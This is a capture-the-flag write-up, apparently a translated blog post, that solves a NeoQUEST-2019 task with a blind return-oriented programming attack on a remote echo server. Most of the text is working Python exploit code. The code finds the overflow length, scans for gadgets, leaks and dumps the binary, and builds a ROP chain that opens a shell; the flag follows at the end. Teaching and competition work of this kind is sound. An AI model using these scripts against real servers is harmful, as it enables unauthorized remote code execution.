Server, can you hear me? BROP attack on the example of the NeoQUEST-2019 task
How to find a vulnerability on a server without information about it? How is BROP different from ROP? Is it possible to download an executable file from a server through a buffer overflow? Welcome to the cat, we will analyze the answers to these questions on the example of passing the NeoQUEST-2019 task !
The address and port of the server are given : 213.170.100.211 10000 . Let's try to connect to it:
At first glance - nothing special, a regular echo server: returns the same thing that we ourselves sent to it.
Having played with the size of the transmitted data, you can notice that with a sufficiently long line length, the server does not stand up and terminates the connection:
Hmm, it seems like an overflow.
Find the length of the buffer. You can simply iterate over the values, incrementing them, until we get non-standard output from the server. And you can show a little ingenuity and speed up the process using binary search, checking whether the server crashed or did not fall after the next request.
Determining the buffer length
from pwn import *
import threading
import time
import sys
ADDR = "213.170.100.211"
PORT = 10000
def find_offset():
start = 0
end = 200
while True:
conn = remote(ADDR, PORT)
curlen = (start + end) // 2
print("Testing {}".format(curlen))
payload = b'\xff' * curlen
conn.send(payload)
time.sleep(0.5)
r = conn.recv()
payload = b'\xff' * (curlen)
conn.send(payload)
try:
r = conn.recv()
start = curlen
payload = b'\xff' * (curlen + 1)
conn.send(payload)
time.sleep(0.5)
r = conn.recv()
conn.send(payload)
try:
r = conn.recv()
except EOFError:
print("\nBuffer length is {}".format(curlen), flush=True)
return curlen
except EOFError:
end = curlen
return -1
So, the length of the buffer is 136. If you send 136 bytes to the server, then we erase the null byte at the end of our line onto the stack and get the data following it - the value is 0x400155. And this, apparently, is the return address. In this way, we can control the flow of execution. But we don’t have the executable file itself, and we don’t know where exactly the ROP gadgets that would allow us to get the shell can be located.
What can be done about this?
There is a special technique that allows you to solve this kind of problem provided that the return address is controlled - Blind Return Oriented Programming. In essence, BROP is a blind scan of an executable file for gadgets. We rewrite the return address with some address from the text segment, set the parameters for the desired gadget on the stack and analyze the program behavior. Based on the analysis, an assumption is born whether we guessed or not. An important role is played by special auxiliary gadgets - Stop (its execution will not lead to the termination of the program) and Trap (its execution will cause the program to terminate). Thus, at first auxiliary gadgets are found, and with their help the necessary ones are already searched (as a rule, in order to call write and get the executable file).
For example, we want to find a gadget that puts a single value from the stack into a register and executesret . We will record the tested address instead of the return address in order to transfer control to it. After it, we write down the address of the Trap gadget that we found earlier , and behind it is the address of the Stop gadget. What ultimately turns out: if the server crashed ( Trap worked ), then the gadget is located at the current test address, which does not match the one sought: it does not remove the address of the Trap gadget from the stack. If Stop worked , then the current gadget may be just the one we are looking for: it removed one value from the stack. Thus, you can search for gadgets that match a specific behavior.
But in this case, the search can be simplified. We know for sure that the server is printing us some value in response. You can try to scan various addresses in the executable file and see if we get to the code that displays the line again.
Gadget discovery
lock = threading.Lock()
def safe_get_next(gen):
with lock:
return next(gen)
def find_puts(offiter, buffsize, base=0x400000):
offset = 0
while True:
conn = remote(ADDR, PORT)
try:
offset = safe_get_next(offiter)
except StopIteration:
return
payload = b'A' * buffsize
payload += p64(base + offset)
if offset % 0x10 == 0:
print("Checking address {:#x}".format(base + offset), flush=True)
conn.send(payload)
time.sleep(2)
try:
r = conn.recv()
r = r.strip(b'A' * buffsize)[3:]
if len(r) > 0:
print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True)
except:
pass
finally:
conn.close()
offset_iter = iter(range(0x200))
for _ in range(16):
threading.Thread(target=find_puts,
args=(offset_iter, buffer_size, 0x400100)).start()
time.sleep(1)
How can we get the executable file using this leak?
We know that the server writes a line in response. When we go to the address 0x40016f, the parameters of the output function are filled with some kind of garbage. Since, judging by the return address, we are dealing with a 64-bit executable file, the parameters of the functions are located in registers.
But what if we found a gadget that would allow us to control the contents of the registers (put them there from the stack)? Let's try to find it using the same technique. We can put any value on the stack, right? So, we need to find a pop-gadget that would put our value in the desired register before calling the output function. We put as the address of the string the address of the beginning of the ELF file ( 0x400000) If we find the right gadget, then the server will have to print the signature 7F 45 4C 46 in response .
Gadget Search Continues
def find_pop(offiter, buffsize, puts, base=0x400000):
offset = 0
while True:
conn = remote(ADDR, PORT)
try:
offset = safe_get_next(offiter)
except StopIteration:
return
if offset % 0x10 == 0:
print("Checking address {:#x}".format(base + offset), flush=True)
payload = b'A' * buffsize
payload += p64(base + offset)
payload += p64(0x400001)
payload += p64(puts)
conn.send(payload)
time.sleep(1)
try:
r = conn.recv()
r = r.strip(b'A' * buffsize)[3:]
if b'ELF' in r:
print("Binary leak at at {:#x}".format(base + offset), flush=True)
except:
pass
finally:
conn.close()
offset_iter = iter(range(0x200))
for _ in range(16):
threading.Thread(target=find_pop,
args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start()
time.sleep(1)
Using the resulting bunch of addresses, we pump out the executable file from the server.
File extraction
def dump(buffsize, pop, puts, offset, base=0x400000):
conn = remote(ADDR, PORT)
payload = b'A' * buffsize
payload += p64(pop)
payload += p64(base + offset) # what to dump
payload += p64(puts)
conn.send(payload)
time.sleep(0.5)
r = conn.recv()
r = r.strip(b'A' * buffsize)
conn.close()
if r[3:]:
return r[3:]
return None
Let's see it in the IDA:
The address 0x40016f leads us to syscall , and 0x40017f leads to pop rsi ; ret .
Now that you have an executable file on hand, you can build a ROP chain. Moreover, the line / bin / sh was also in it !
We form a chain that calls system with the / bin / sh argument . Information on system calls in 64-bit Linux can be found, for example, here .
Last little step
def get_shell(buffsize, base=0x400000):
conn = remote(ADDR, PORT)
payload = b'A' * buffsize
payload += p64(base + 0x17d)
payload += p64(59)
payload += p64(0)
payload += p64(0)
payload += p64(base + 0x1ce)
payload += p64(base + 0x1d0)
payload += p64(base + 0x17b)
conn.send(payload)
conn.interactive()
Run the exploit and get the shell:
Victory!
NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433
Very soon, the other tasks for the other tasks of the online stage NeoQUEST-2019 will appear. And the “Confrontation” will take place on June 26! News will appear on the event website , do not miss!